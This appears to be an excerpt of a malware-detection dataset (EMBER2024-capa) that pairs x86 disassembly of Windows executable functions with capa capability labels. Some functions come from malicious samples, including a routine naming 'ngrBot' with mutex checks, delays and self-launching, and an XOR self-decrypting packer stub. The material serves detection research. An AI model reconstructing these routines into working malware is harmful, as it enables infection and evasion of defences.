joyce8/EMBER2024-capa huggingface dataset:
Function at 0x900910
Capabilities:
Check if file exists
Check mutex and terminate process on windows
Check mutex on windows
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push esi
push edi
push 0x103
lea eax, [ebp - 0x20f]
push 0
push eax
mov byte [ebp - 0x210], 0
call sub.MSVCRT.dll_memset
add esp, 0xc
call fcn.008fa5d0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0x103
lea ecx, [ebp - 0x10b]
push 0
push ecx
mov dword [0x93a70c], eax
mov byte [ebp - 0x10c], 0
call sub.MSVCRT.dll_memset
add esp, 0xc
xor eax, eax
push 0x104
lea edx, [ebp - 0x10c]
push edx
push eax
mov byte [ebp - 8], 0
mov dword [ebp - 7], eax
mov word [ebp - 3], ax
mov byte [ebp - 1], al
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x9009cf
push 3
lea eax, [ebp - 0x10c]
push eax
lea ecx, [ebp - 8]
push ecx
call fcn.008f2440
lea edx, [ebp - 8]
push edx
call fcn.008ff2b0
add esp, 4
test eax, eax
je 0x9009cf
push 5
push 0
push 0
lea eax, [ebp - 8]
push eax
push str.OPEN
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [0x93b500], 1
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call main
add esp, 4
call fcn.008f3870
cdq
mov ecx, 0xa
idiv ecx
mov esi, edx
inc esi
call fcn.008f3870
cdq
mov ecx, 0x3e8
idiv ecx
add edx, 0x1f4
imul edx, esi
push edx
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.FvLQ49IlzIyLjj6m
push 0
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
test eax, eax
je 0x900a38
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
cmp eax, 2
je 0x900a38
call esi
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push str.SOIFJDA0
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push str.SOIFJDA0
call fcn.008f1e60
push eax
push str._08x
lea edx, [ebp - 0x210]
push 0x103
push edx
call sub.MSVCRT.dll__snprintf
lea eax, [ebp - 0x210]
push eax
call fcn.008f4d00
add esp, 0x1c
test eax, eax
jne 0x900a7f
push eax
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push str.running
push str.ngrBot
call fcn.008f73e0
add esp, 8
cmp eax, 1
jne 0x900a9e
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push str.running
push str.ngrBot
call fcn.008f7330
push 0
call fcn.008fb300
add esp, 0xc
mov esi, eax
call fcn.008f6850
push 0x208
push 0x93afb0
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push esi
push edi
push str._s_s.exe
push 0x93ada0
call dword [sym.imp.USER32.dll_wsprintfW]
mov edi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
add esp, 0x10
push 0
push 0
push 0x104
push 0x93ac50
push 0xffffffffffffffff
push 0x93ada0
push 0
push 0
call edi
push 0x208
push esi
push 0x93b1b8
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
push 0
push 0
push 0x104
push 0x93b3e0
push 0xffffffffffffffff
push esi
push 0
push 0
call edi
xor eax, eax
mov ecx, 0x14c
cmp word [0x7ffe002c], cx
setne al
mov dword [0x93b504], eax
test eax, eax
je 0x900b5f
call fcn.008fa990
push 0x9c4
mov dword [0x93b508], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0x906d28
call fcn.008f5ce0
add esp, 8
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x1000122e
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
mov esi, ecx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [esi], eax
je 0x100012b6
lea ecx, [ebp + 8]
push 0
push ecx
lea ecx, [esi + 4]
push 4
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x100012b6
xor eax, eax
cmp dword [ebp + 8], 4
sete al
test eax, eax
je 0x100012b6
lea eax, [esi + 8]
mov ecx, esi
push eax
call fcn.100013b8
test eax, eax
je 0x100012b6
lea eax, [esi + 0x10]
mov ecx, esi
push eax
call fcn.100013b8
test eax, eax
je 0x100012b6
lea eax, [esi + 0x18]
mov ecx, esi
push eax
call fcn.100013b8
test eax, eax
je 0x100012b6
lea eax, [esi + 0x20]
mov ecx, esi
push eax
call fcn.100013b8
test eax, eax
jne 0x100012ba
xor eax, eax
jmp 0x100012cb
mov ecx, esi
call fcn.1000134f
mov ecx, esi
call fcn.100012d0
push 1
pop eax
pop esi
pop ebp
ret 4

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43200c
nop
nop
nop
pop eax
nop
nop
nop
add eax, 0x40729f
sub eax, 0x407245
nop
nop
nop
nop
nop
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
jl 0x432030
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
jne 0x43201e
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x725a23fb
Capabilities:
Create thread

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
mov esi, ecx
mov eax, dword [esi + 0x28]
push edi
xor edi, edi
cmp eax, edi
je 0x725a2426
lea ecx, [ebp - 4]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
test eax, eax
je 0x725a2426
cmp dword [ebp - 4], 0x103
je 0x725a2445
push edi
push edi
push edi
push 0x725a2393
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp eax, edi
mov dword [esi + 0x28], eax
jne 0x725a2445
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x725a2447
xor eax, eax
pop edi
pop esi
leave
ret

Function at 0x725a26d0
Capabilities:
Get hostname
Get session user name

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
push 0x40
pop edi
mov esi, 0x80
push esi
mov dword [ebp - 0xc], edi
call sub.msvcrt.dll_void____cdecl_operator_new_unsigned_int_
mov ebx, eax
test ebx, ebx
pop ecx
jne 0x725a26fa
push 8
jmp 0x725a27db
push esi
mov dword [ebp - 0x10], edi
call sub.msvcrt.dll_void____cdecl_operator_new_unsigned_int_
mov edi, eax
test edi, edi
pop ecx
jne 0x725a2712
push ebx
call sub.msvcrt.dll_void___cdecl_operator_delete_void__
jmp 0x725a275b
lea eax, [ebp - 0xc]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea eax, [ebp - 0x10]
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
push 0x2b4
call sub.msvcrt.dll_void____cdecl_operator_new_unsigned_int_
test eax, eax
pop ecx
je 0x725a2743
mov ecx, eax
call fcn.725a17ba
mov dword [ebp - 4], eax
jmp 0x725a2747
and dword [ebp - 4], 0
mov ecx, dword [ebp - 4]
test ecx, ecx
jne 0x725a275e
push ebx
call sub.msvcrt.dll_void___cdecl_operator_delete_void__
push edi
call sub.msvcrt.dll_void___cdecl_operator_delete_void__
pop ecx
pop ecx
jmp 0x725a26f3
push dword [ebp + 8]
call fcn.725a255a
mov esi, eax
test esi, esi
jge 0x725a277c
push ebx
call sub.msvcrt.dll_void___cdecl_operator_delete_void__
push edi
call sub.msvcrt.dll_void___cdecl_operator_delete_void__
pop ecx
pop ecx
jmp 0x725a27c6
mov ecx, dword [ebp - 4]
lea eax, [ebp - 8]
push eax
push 0x725a1604
push 2
call fcn.725a18dc
mov esi, eax
test esi, esi
jl 0x725a27b4
push dword [ebp + 0x10]
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
push edi
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
push eax
call dword [ecx + 0xc]
mov esi, eax
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push ebx
call sub.msvcrt.dll_void___cdecl_operator_delete_void__
push edi
call sub.msvcrt.dll_void___cdecl_operator_delete_void__
test esi, esi
pop ecx
pop ecx
jge 0x725a27e6
push dword [ebp - 4]
mov ecx, 0x725a8160
call fcn.725a24ba
mov eax, esi
call fcn.725a2678
push eax
call dword [sym.imp.KERNEL32.dll_SetLastError]
or eax, 0xffffffff
jmp 0x725a27e9
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x725a4375
Capabilities:
Print debug messages

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
xor ebx, ebx
push ebx
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
call fcn.725a1bd9
cmp eax, ebx
jne 0x725a4472
cmp dword [ebp + 0x14], ebx
mov ecx, dword [ebp - 4]
push esi
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], ebx
je 0x725a4464
cmp dword [ebp + 0x18], ebx
je 0x725a4464
cmp dword [ebp + 0xc], ebx
je 0x725a4464
mov esi, dword [ebp + 0x1c]
mov eax, dword [esi]
push edi
mov dword [ebp - 8], eax
lea eax, [ebp + 8]
push eax
push 0x725a15f4
push 8
call fcn.725a18dc
test eax, eax
jl 0x725a440c
push 0x725a13cc
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
lea edx, [ebp - 0xc]
push edx
push esi
lea edx, [ebp - 8]
push edx
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push eax
call dword [ecx + 0x44]
mov edi, eax
mov eax, dword [ebp - 0xc]
mov dword [esi], eax
mov eax, dword [ebp + 8]
jmp 0x725a444f
mov ecx, dword [ebp - 4]
lea eax, [ebp + 0x1c]
push eax
push 0x725a15d4
push 1
call fcn.725a18dc
mov edi, eax
cmp edi, ebx
jl 0x725a4455
push 0x725a139c
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov eax, dword [ebp + 0x1c]
mov ecx, dword [eax]
push esi
lea edx, [ebp - 8]
push edx
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push eax
call dword [ecx + 0x14]
mov edi, eax
mov eax, dword [ebp + 0x1c]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, edi
call fcn.725a2678
mov dword [ebp - 0x10], eax
mov esi, eax
pop edi
jmp 0x725a4467
push 0x57
pop esi
lea ecx, [ebp - 0x14]
call fcn.725a26ad
mov eax, esi
pop esi
pop ebx
leave
ret 0x18
Function at 0x725a447c
Capabilities:
Print debug messages

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
xor ebx, ebx
push ebx
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
call fcn.725a1bd9
cmp eax, ebx
jne 0x725a457d
cmp dword [ebp + 0x14], ebx
mov ecx, dword [ebp - 4]
push esi
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], ebx
je 0x725a456f
cmp dword [ebp + 0x18], ebx
je 0x725a456f
cmp dword [ebp + 0xc], ebx
je 0x725a456f
mov esi, dword [ebp + 0x1c]
mov eax, dword [esi]
push edi
mov dword [ebp - 8], eax
lea eax, [ebp + 0x1c]
push eax
push 0x725a15f4
push 8
call fcn.725a18dc
test eax, eax
jl 0x725a4517
push 0x725a142c
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov eax, dword [ebp + 0x1c]
or dword [ebp + 8], 0xffffffff
mov ecx, dword [eax]
lea edx, [ebp + 8]
push edx
push esi
lea edx, [ebp - 8]
push edx
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push eax
call dword [ecx + 0x48]
mov edi, eax
mov eax, dword [ebp + 8]
mov dword [esi], eax
mov eax, dword [ebp + 0x1c]
jmp 0x725a455a
mov ecx, dword [ebp - 4]
lea eax, [ebp - 0xc]
push eax
push 0x725a15d4
push 1
call fcn.725a18dc
mov edi, eax
cmp edi, ebx
jl 0x725a4560
push 0x725a13fc
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax]
push esi
lea edx, [ebp - 8]
push edx
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push eax
call dword [ecx + 0x18]
mov edi, eax
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, edi
call fcn.725a2678
mov dword [ebp - 0x10], eax
mov esi, eax
pop edi
jmp 0x725a4572
push 0x57
pop esi
lea ecx, [ebp - 0x14]
call fcn.725a26ad
mov eax, esi
pop esi
pop ebx
leave
ret 0x18

Function at 0x725a6212
Capabilities:
Get disk information via ioctl

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
mov ebx, eax
push edi
push ebx
call dword [sym.imp.msvcrt.dll_wcslen]
lea esi, [ebx + eax*2 - 2]
xor edi, edi
cmp word [esi], 0x5c
pop ecx
jne 0x725a623f
mov dword [ebp - 4], 1
mov word [esi], di
jmp 0x725a6242
mov dword [ebp - 4], edi
push edi
push edi
push 3
push edi
push 3
push 0x80000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp dword [ebp - 4], edi
mov ebx, eax
je 0x725a6261
mov word [esi], 0x5c
cmp ebx, 0xffffffff
je 0x725a62a1
push edi
lea eax, [ebp - 8]
push eax
push 0xc
lea eax, [ebp - 0x14]
push eax
push edi
push edi
push 0x2d1080
push ebx
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp esi, edi
je 0x725a62a1
mov eax, dword [ebp + 0xc]
cmp eax, dword [ebp - 0x10]
jne 0x725a62a1
mov eax, dword [ebp + 8]
cmp eax, dword [ebp - 0x14]
jne 0x725a62a1
xor eax, eax
inc eax
jmp 0x725a62a3
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x725a633d
Capabilities:
Get disk information

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x725a8020]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x10]
and dword [eax], 0
push ebx
push 0x1b4
mov dword [ebp - 0x20], eax
call sub.msvcrt.dll_void____cdecl_operator_new_unsigned_int_
mov ebx, eax
test ebx, ebx
pop ecx
jne 0x725a6370
push 0xe
pop eax
jmp 0x725a6435
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
mov esi, 0xda
jmp 0x725a639a
push ebx
call sub.msvcrt.dll_void___cdecl_operator_delete_void__
mov eax, dword [ebp - 0x1c]
lea eax, [eax + eax + 2]
push eax
call sub.msvcrt.dll_void____cdecl_operator_new_unsigned_int_
mov ebx, eax
test ebx, ebx
pop ecx
pop ecx
je 0x725a63b8
push ebx
push esi
call edi
cmp eax, esi
mov dword [ebp - 0x1c], eax
ja 0x725a637f
test eax, eax
jne 0x725a63bd
push ebx
call sub.msvcrt.dll_void___cdecl_operator_delete_void__
pop ecx
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x725a6433
push 0xe
pop eax
jmp 0x725a6433
lea eax, [ebp - 0x18]
push 0x725a156c
push eax
call dword [sym.imp.msvcrt.dll_wcscpy]
push ebx
mov dword [ebp - 0x1c], 0x490
mov edi, ebx
call dword [sym.imp.msvcrt.dll_wcslen]
add esp, 0xc
mov esi, eax
inc esi
cmp word [ebx], 0
je 0x725a6429
mov ax, word [edi]
push dword [ebp + 0xc]
mov word [ebp - 0x10], ax
push dword [ebp + 8]
lea eax, [ebp - 0x18]
call fcn.725a6212
test eax, eax
jne 0x725a640b
lea edi, [edi + esi*2]
cmp word [edi], ax
jne 0x725a63e8
jmp 0x725a6429
lea eax, [esi + esi]
push eax
call dword [sym.imp.msvcrt.dll_malloc]
mov ecx, dword [ebp - 0x20]
push edi
push eax
mov dword [ecx], eax
call dword [sym.imp.msvcrt.dll_wcscpy]
add esp, 0xc
and dword [ebp - 0x1c], 0
push ebx
call sub.msvcrt.dll_void___cdecl_operator_delete_void__
mov eax, dword [ebp - 0x1c]
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 4]
pop ebx
call fcn.725a66d7
leave
ret 0xc
Function at 0x10245000
Capabilities:
Set environment variable

Disassembly:
push ebp
mov ebp, esp
xor eax, eax
mov al, byte [0x10230158]
test eax, eax
je 0x1024501d
mov cl, byte [0x10230608]
or cl, 1
mov byte [0x10230608], cl
cmp dword [0x10230130], 0
je 0x10245035
mov dl, byte [0x10230608]
or dl, 8
mov byte [0x10230608], dl
xor eax, eax
mov al, byte [0x10230608]
test eax, eax
je 0x1024509f
cmp dword [0x1023013c], 0
je 0x10245059
push 0x10232dfc
push 0x10232e00
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
mov ecx, dword [0x1023f454]
push ecx
mov dl, byte [0x10230608]
push edx
push 0x102303b0
push 0x10230158
mov eax, dword [0x10230140]
push eax
mov ecx, dword [0x1023013c]
push ecx
mov edx, dword [0x10230138]
push edx
mov eax, dword [0x10230134]
push eax
mov ecx, dword [0x10230130]
push ecx
push 0x10230128
call fcn.10248498
add esp, 0x28
pop ebp
ret
Function at 0x1024675f
Capabilities:
Resume thread
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov word [ebp - 8], 0
call fcn.10247a78
mov word [ebp - 4], ax
cmp dword [0x1023f570], 0
je 0x10246789
mov dword [0x1023fb44], 0
jmp 0x10246793
mov dword [0x1023fb44], 1
cmp dword [0x1023fb44], 0
je 0x10246993
cmp dword [0x10232df8], 1
je 0x102467ba
mov eax, dword [0x10232df4]
cmp eax, dword [0x10232df0]
jne 0x1024692c
push 0
call dword [sym.imp.MSVCRT.dll_time]
add esp, 4
push eax
call dword [sym.imp.MSVCRT.dll_srand]
add esp, 4
call dword [sym.imp.MSVCRT.dll_rand]
cdq
mov ecx, 5
idiv ecx
add edx, 1
mov dword [0x10232df0], edx
mov dword [0x10232df4], 1
mov edx, dword [0x10241818]
and edx, 0x1f3
mov dword [0x1023f550], edx
mov eax, dword [0x1023f550]
mov ecx, dword [eax*4 + 0x1022f010]
xor ecx, 0xfd0699d6
mov dword [0x1023f540], ecx
mov dword [0x1023f544], 0
push 4
push 0
push 0x1023f544
push 0x1023f540
movzx dx, byte [0x1022f00d]
push edx
push 0x1023f6ac
call fcn.10249480
mov word [ebp - 4], ax
mov eax, dword [ebp - 4]
and eax, 0xffff
test eax, eax
jne 0x10246876
mov ecx, dword [0x1023f544]
xor ecx, 0x7b2309a7
mov edx, dword [0x1023f550]
xor ecx, dword [edx*4 + 0x1022f7e0]
test ecx, ecx
je 0x10246920
xor eax, eax
mov al, byte [0x10231f6a]
cmp eax, 0x31
jne 0x10246888
mov word [ebp - 4], 3
xor ecx, ecx
mov cl, byte [0x10231f6a]
cmp ecx, 0x32
je 0x102468a2
xor edx, edx
mov dl, byte [0x10231f6a]
cmp edx, 0x33
jne 0x102468a8
mov word [ebp - 4], 0
mov dword [0x10232df8], 1
cmp dword [0x1023f594], 0
jne 0x1024691e
xor eax, eax
mov al, byte [0x10231f6a]
cmp eax, 0x32
je 0x102468d4
xor ecx, ecx
mov cl, byte [0x10231f6a]
cmp ecx, 0x33
jne 0x1024691e
mov edx, dword [0x1023f69c]
push edx
call dword [sym.imp.KERNEL32.dll_SuspendThread]
mov dword [0x1023f54c], 0xc
push 0x2010
call fcn.102450a1
push eax
call fcn.102478db
add esp, 8
mov dword [0x1023f54c], 0
mov eax, dword [0x1023f69c]
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov dword [0x1023f594], 1
jmp 0x1024692a
mov dword [0x10232df8], 0
jmp 0x10246991
mov ecx, dword [0x10232df4]
add ecx, 1
mov dword [0x10232df4], ecx
mov edx, dword [0x10241818]
mov dword [0x1023f540], edx
mov dword [0x1023f544], 0
push 4
push 0
push 0x1023f544
push 0x1023f540
push 0
push 0x1023f6ac
call fcn.10249480
mov word [ebp - 4], ax
mov eax, dword [ebp - 4]
and eax, 0xffff
test eax, eax
jne 0x1024698b
mov ecx, dword [0x1023f544]
xor ecx, dword [0x10241818]
test ecx, ecx
je 0x10246991
mov word [ebp - 4], 3
jmp 0x102469f7
mov edx, dword [0x10232df4]
add edx, 1
mov dword [0x10232df4], edx
mov eax, dword [0x10241818]
mov dword [0x1023f540], eax
mov dword [0x1023f544], 0
push 4
push 0
push 0x1023f544
push 0x1023f540
push 0
push 0x1023f6ac
call fcn.10249480
mov word [ebp - 4], ax
mov ecx, dword [ebp - 4]
and ecx, 0xffff
test ecx, ecx
jne 0x102469f1
mov edx, dword [0x1023f544]
xor edx, dword [0x10241818]
test edx, edx
je 0x102469f7
mov word [ebp - 4], 3
mov ax, word [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x10246ec1
Capabilities:
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0x10241800
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov dword [ebp - 8], 0
cmp dword [ebp - 8], 0x64
jge 0x10246f3e
mov eax, dword [ebp - 8]
cmp dword [eax*4 + 0x10241820], 0
je 0x10246f2d
lea ecx, [ebp - 4]
push ecx
mov edx, dword [ebp - 8]
mov eax, dword [edx*4 + 0x10241820]
push eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
test eax, eax
je 0x10246f2d
cmp dword [ebp - 4], 0x103
je 0x10246f2d
mov ecx, dword [ebp - 8]
mov edx, dword [ecx*4 + 0x10241820]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 8]
mov dword [eax*4 + 0x10241820], 0
mov ecx, dword [ebp - 8]
push ecx
call fcn.10247116
add esp, 4
mov dword [ebp - 8], eax
jmp 0x10246ed9
mov dword [ebp - 8], 0
cmp dword [ebp - 8], 0x64
jge 0x10246f7a
mov edx, dword [ebp - 8]
cmp dword [edx*4 + 0x10241820], 0
je 0x10246f69
mov eax, dword [ebp - 8]
mov ecx, dword [eax*4 + 0x10241820]
push ecx
call dword [sym.imp.KERNEL32.dll_SuspendThread]
mov edx, dword [ebp - 8]
push edx
call fcn.10247116
add esp, 4
mov dword [ebp - 8], eax
jmp 0x10246f45
mov esp, ebp
pop ebp
ret

Function at 0x10246f7e
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], 0
cmp dword [ebp - 4], 0x64
jge 0x10246fbe
mov eax, dword [ebp - 4]
cmp dword [eax*4 + 0x10241820], 0
je 0x10246fad
mov ecx, dword [ebp - 4]
mov edx, dword [ecx*4 + 0x10241820]
push edx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, dword [ebp - 4]
push eax
call fcn.10247116
add esp, 4
mov dword [ebp - 4], eax
jmp 0x10246f89
push 0x10241800
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov esp, ebp
pop ebp
ret

Function at 0x10248cf0
Capabilities:
Check os version

Disassembly:
sub esp, 0x94
push edi
mov ecx, 0x25
xor eax, eax
lea edi, [esp + 4]
rep stosd dword es:[edi], eax
lea eax, [esp + 4]
mov dword [esp + 4], 0x94
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
pop edi
je 0x10248d65
mov eax, dword [esp + 0x10]
mov ecx, 2
sub eax, ecx
je 0x10248d3c
mov word [0x1023fb50], cx
call fcn.1024b1a0
add esp, 0x94
ret
cmp dword [esp + 4], 5
jne 0x10248d29
mov edx, dword [esp + 8]
mov eax, 1
cmp edx, eax
jb 0x10248d29
mov word [0x1023fb50], ax
call fcn.10248a40
call fcn.10248bd0
call fcn.1024b1a0
add esp, 0x94
ret
Function at 0x10249a40
Capabilities:
Check mutex on windows

Disassembly:
push ebx
push ebp
push esi
push edi
xor ebp, ebp
call fcn.10255160
test eax, eax
jne 0x10249a70
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x18]
push eax
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
test esi, esi
jne 0x10249a85
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
ret
mov edx, dword [esp + 0x14]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
test esi, esi
je 0x10249ac9
mov edi, dword [esp + 0x20]
mov ebx, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push edi
push esi
call ebx
test eax, eax
je 0x10249aa9
cmp eax, 0x102
jne 0x10249ab6
mov eax, dword [esp + 0x24]
inc ebp
cmp ebp, eax
jg 0x10249ac0
jmp 0x10249a8f
mov eax, dword [esp + 0x1c]
pop edi
mov dword [eax], esi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
pop edi
pop esi
pop ebp
mov eax, 0x73
pop ebx
ret
push esi
call fcn.10249b40
add esp, 4
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
ret

Function at 0x10249ae0
Capabilities:
Check mutex on windows

Disassembly:
push esi
call fcn.10255160
test eax, eax
jne 0x10249af8
mov eax, dword [esp + 8]
mov ecx, dword [esp + 0xc]
push eax
push 0
push ecx
jmp 0x10249b01
mov edx, dword [esp + 8]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
test esi, esi
jne 0x10249b14
mov eax, 1
pop esi
ret
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x10249b2b
mov eax, dword [esp + 0x10]
mov dword [eax], esi
xor eax, eax
pop esi
ret
mov eax, 0x73
pop esi
ret